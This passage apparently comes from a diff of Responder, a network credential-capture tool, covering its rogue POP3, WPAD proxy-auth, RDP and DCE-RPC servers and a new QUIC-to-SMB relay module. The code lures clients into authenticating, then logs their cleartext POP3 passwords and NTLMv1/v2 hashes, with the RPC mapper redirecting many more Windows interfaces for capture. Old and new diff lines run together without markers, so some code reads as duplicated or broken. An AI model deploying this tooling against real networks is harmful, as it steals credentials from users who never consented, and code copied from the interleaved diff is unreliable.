self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
# Generate challenge for APOP
challenge = self.generate_challenge()
# Send banner with challenge for APOP support
banner = "+OK POP3 server ready %s\r\n" % challenge
self.request.send(banner.encode('latin-1'))
# Read first command
data = self.request.recv(1024)
# Handle CAPA (capability) command
if data[0:4].upper() == b'CAPA':
# Advertise supported auth methods
capabilities = [
"+OK Capability list follows",
"USER",
"SASL PLAIN LOGIN CRAM-MD5 NTLM",
"IMPLEMENTATION Responder POP3",
"."
]
self.request.send("\r\n".join(capabilities).encode('latin-1') + b"\r\n")
data = self.request.recv(1024)
if data[0:4] == b'AUTH':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
# Handle AUTH command
if data[0:4].upper() == b'AUTH':
mechanism = data[5:].strip().upper()
if mechanism == b'PLAIN':
self.handle_auth_plain(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'LOGIN':
self.handle_auth_login(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
self.handle_auth_cram_md5(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'NTLM':
if self.handle_ntlm_auth(data):
self.send_ok("Authentication successful")
else:
self.send_err("Authentication failed")
return
elif not mechanism:
# AUTH without mechanism - list supported
auth_list = "+OK Supported mechanisms:\r\nPLAIN\r\nLOGIN\r\nCRAM-MD5\r\nNTLM\r\n.\r\n"
self.request.send(auth_list.encode('latin-1'))
data = self.request.recv(1024)
else:
self.send_err("Unsupported authentication method")
return
# Handle APOP command
if data[0:4].upper() == b'APOP':
if self.handle_apop(data):
self.send_ok("Authentication successful")
else:
self.send_err("Authentication failed")
return
# Handle traditional USER/PASS
if data[0:4].upper() == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
self.send_ok("Password required")
data = self.request.recv(1024)
if data[0:4] == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1")
data = self.SendPacketAndRead()
if data[0:4] == b'PASS':
Pass = data[5:].strip(b"\r\n").decode("latin-1")
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
self.SendPacketAndRead()
except Exception:
if data[0:4].upper() == b'PASS':
Pass = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User + ":" + Pass,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured cleartext credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), User), 2, 1))
self.send_ok("Authentication successful")
return
self.send_err("Unknown command")
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Exception: %s' % str(e)))
pass

View File

@@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
@@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate()
return Buffer
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
#Buffer.calculate()
#Return a TCP RST, so the client uses direct connection and avoids disruption.
return RST
else:
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
@@ -93,7 +94,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic:
Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = WPAD_Auth_407_Ans()

168
servers/QUIC.py Normal file
View File

@@ -0,0 +1,168 @@
import asyncio
import logging
import ssl
import argparse
import netifaces
from utils import *
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
BUFFER_SIZE = 11000
def get_interface_ip(interface_name):
"""Get the IP address of a network interface."""
try:
# Get address info for the specified interface
addresses = netifaces.ifaddresses(interface_name)
# Get IPv4 address (AF_INET = IPv4)
if netifaces.AF_INET in addresses:
return addresses[netifaces.AF_INET][0]['addr']
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
if netifaces.AF_INET6 in addresses:
return addresses[netifaces.AF_INET6][0]['addr']
logging.error(f"[!] No IP address found for interface {interface_name}")
return None
except ValueError:
logging.error(f"[!] Interface {interface_name} not found")
return None
class QUIC(QuicConnectionProtocol):
def __init__(self, *args, target_address=None, **kwargs):
super().__init__(*args, **kwargs)
self.tcp_connections = {} # stream_id -> (reader, writer)
self.target_address = target_address or "localhost"
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
# Only try to close connections if we have any
if self.tcp_connections:
asyncio.create_task(self.close_all_tcp_connections())
async def handle_stream_data(self, stream_id, data):
if stream_id not in self.tcp_connections:
# Create a new TCP connection to the target interface:445
try:
reader, writer = await asyncio.open_connection(self.target_address, 445)
self.tcp_connections[stream_id] = (reader, writer)
# Start task to read from TCP and write to QUIC
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
except Exception as e:
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
return
# Forward data from QUIC to TCP
try:
_, writer = self.tcp_connections[stream_id]
writer.write(data)
await writer.drain()
except Exception as e:
logging.error(f"[!] Error writing to TCP: {e}")
await self.close_tcp_connection(stream_id)
async def tcp_to_quic(self, stream_id, reader):
try:
while True:
data = await reader.read(BUFFER_SIZE)
if not data:
break
self._quic.send_stream_data(stream_id, data)
self.transmit()
except Exception as e:
logging.error(f"[!] Error reading from TCP: {e}")
finally:
await self.close_tcp_connection(stream_id)
async def close_tcp_connection(self, stream_id):
if stream_id in self.tcp_connections:
_, writer = self.tcp_connections[stream_id]
writer.close()
await writer.wait_closed()
del self.tcp_connections[stream_id]
async def close_all_tcp_connections(self):
try:
# Make a copy of the keys to avoid modification during iteration
stream_ids = list(self.tcp_connections.keys())
for stream_id in stream_ids:
try:
await self.close_tcp_connection(stream_id)
except KeyError:
# Silently ignore if the stream ID no longer exists
pass
except Exception as e:
# Catch any other exceptions that might occur
logging.debug(f"[!] Error closing TCP connections: {e}")
async def start_quic_server(listen_interface, cert_path, key_path):
# Configure QUIC
configuration = QuicConfiguration(
alpn_protocols=["smb"],
is_client=False,
)
# Load certificate and private key
try:
configuration.load_cert_chain(cert_path, key_path)
except Exception as e:
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
return
# Resolve interfaces to IP addresses
listen_ip = listen_interface
if not is_ip_address(listen_interface):
listen_ip = get_interface_ip(listen_interface)
if not listen_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
target_ip = listen_interface
if not is_ip_address(listen_interface):
target_ip = get_interface_ip(listen_interface)
if not target_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
# Start QUIC server with correct protocol factory
server = await serve(
host=listen_ip,
port=443,
configuration=configuration,
create_protocol=lambda *args, **kwargs: QUIC(
*args,
target_address=target_ip,
**kwargs
)
)
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
# Keep the server running forever
await asyncio.Future()
def is_ip_address(address):
"""Check if a string is a valid IP address."""
import socket
try:
socket.inet_pton(socket.AF_INET, address)
return True
except socket.error:
try:
socket.inet_pton(socket.AF_INET6, address)
return True
except socket.error:
return False

10
servers/RDP.py Normal file → Executable file
View File

@@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
self.request.settimeout(30)
Challenge = RandomChallenge()
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
@@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = context.wrap_socket(self.request, server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
@@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = context.wrap_socket(self.request, server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))

View File

@@ -27,188 +27,375 @@ else:
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
# Transfer syntaxes
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" # NDR v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" # v1
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
#for mapper
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
# Common RPC interface UUIDs (original ones)
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" # v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" # v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" # v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" # v1
# Additional RPC interfaces for better coverage
SAMR = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac" # v1 - Security Account Manager
SRVSVC = "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" # v3 - Server Service
WKSSVC = "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a" # v1 - Workstation Service
WINREG = "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03" # v1 - Windows Registry
SVCCTL = "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03" # v2 - Service Control Manager
ATSVC = "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b" # v1 - Task Scheduler
DNSSERVER= "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76" # v5 - DNS Server
def Chose3264x(packet):
if Map32 in packet:
return Map32
else:
return Map64
# Interface names for logging
INTERFACE_NAMES = {
DSRUAPI: "DRSUAPI",
LSARPC: "LSARPC",
NETLOGON: "NETLOGON",
WINSPOOL: "WINSPOOL",
SAMR: "SAMR",
SRVSVC: "SRVSVC",
WKSSVC: "WKSSVC",
WINREG: "WINREG",
SVCCTL: "SVCCTL",
ATSVC: "ATSVC",
DNSSERVER: "DNSSERVER"
}
def FindNTLMOpcode(data):
SSPIStart = data.find(b'NTLMSSP')
"""Find NTLMSSP message type in data"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return False
SSPIString = data[SSPIStart:]
if len(SSPIString) < 12:
return False
return SSPIString[8:12]
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
def ParseRPCHash(data, client, Challenge):
"""Parse NTLMSSP v1/v2 hashes from RPC data"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if len(SSPIString) < 64:
return
try:
LMhashLen = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
# NTLMv1
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Try to get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
# NTLMv2
elif NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Try to get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC] Error parsing hash: %s' % str(e)))
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def FindInterfaceUUID(data):
"""Find which RPC interface UUID is being requested"""
# Check for each known interface UUID in the data
for uuid, name in INTERFACE_NAMES.items():
if NetworkSendBufferPython2or3(uuid) in data:
return uuid, name
return None, None
class RPCMap(BaseRequestHandler):
"""RPCMap handler - Port 135 Endpoint Mapper"""
def handle(self):
try:
data = self.request.recv(1024)
data = self.request.recv(2048)
if not data:
return
self.request.settimeout(5)
Challenge = RandomChallenge()
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
#More recent windows version can and will bind on port 135...Let's grab it.
# Handle BIND request
if data[0:3] == b"\x05\x00\x0b": # Bind Request
# Identify which interface first
uuid, interface_name = FindInterfaceUUID(data)
if not interface_name:
interface_name = "unknown interface"
# Check for NTLMSSP NEGOTIATE in BIND
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
# Send NTLMSSP CHALLENGE
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
# Receive NTLMSSP AUTH
data = self.request.recv(2048)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
self.request.close()
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
return
# Standard BIND processing
if NetworkSendBufferPython2or3(Map) in data:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
elif NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
else:
# Try to identify which interface
if uuid:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=uuid, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
if settings.Config.Verbose:
print(text('[DCE-RPC] BIND request for %s from %s' % (interface_name, self.client_address[0].replace("::ffff:", ""))))
else:
# Default to NDR
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
# DSRUAPI
if NetworkSendBufferPython2or3(DSRUAPI) in data:
# Try to receive more data (AUTH3 or REQUEST)
try:
data = self.request.recv(2048)
if data:
# Check for AUTH3 (packet type 0x10)
if len(data) > 2 and data[2:3] == b"\x10":
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
# Check for NTLM in any subsequent packet
elif FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
except:
pass
# Handle mapper requests (after BIND)
elif data[0:3] == b"\x05\x00\x00": # Mapper request
uuid, name = FindInterfaceUUID(data)
if uuid == DSRUAPI:
x = RPCMapBindMapperAns()
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#LSARPC
if NetworkSendBufferPython2or3(LSARPC) in data:
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DRSUAPI auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == LSARPC:
x = RPCMapBindMapperAns(Tower1UID=LSARPC, Tower1Version="\x00\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#WINSPOOL
if NetworkSendBufferPython2or3(WINSPOOL) in data:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SAMR:
x = RPCMapBindMapperAns(Tower1UID=SAMR, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SAMR auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SRVSVC:
x = RPCMapBindMapperAns(Tower1UID=SRVSVC, Tower1Version="\x03\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SRVSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WKSSVC:
x = RPCMapBindMapperAns(Tower1UID=WKSSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WKSSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WINSPOOL:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WINREG:
x = RPCMapBindMapperAns(Tower1UID=WINREG, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINREG auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SVCCTL:
x = RPCMapBindMapperAns(Tower1UID=SVCCTL, Tower1Version="\x02\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SVCCTL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == ATSVC:
x = RPCMapBindMapperAns(Tower1UID=ATSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to ATSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == DNSSERVER:
x = RPCMapBindMapperAns(Tower1UID=DNSSERVER, Tower1Version="\x05\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DNSSERVER auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == NETLOGON:
# Don't redirect NETLOGON for now - we want NTLM not SecureChannel
self.request.close()
#NetLogon
if NetworkSendBufferPython2or3(NETLOGON) in data:
self.request.close()
# For now, we don't want to establish a secure channel... we want NTLM.
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
#x.calculate()
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
return
# Try to receive more data
try:
data = self.request.recv(2048)
if data and FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
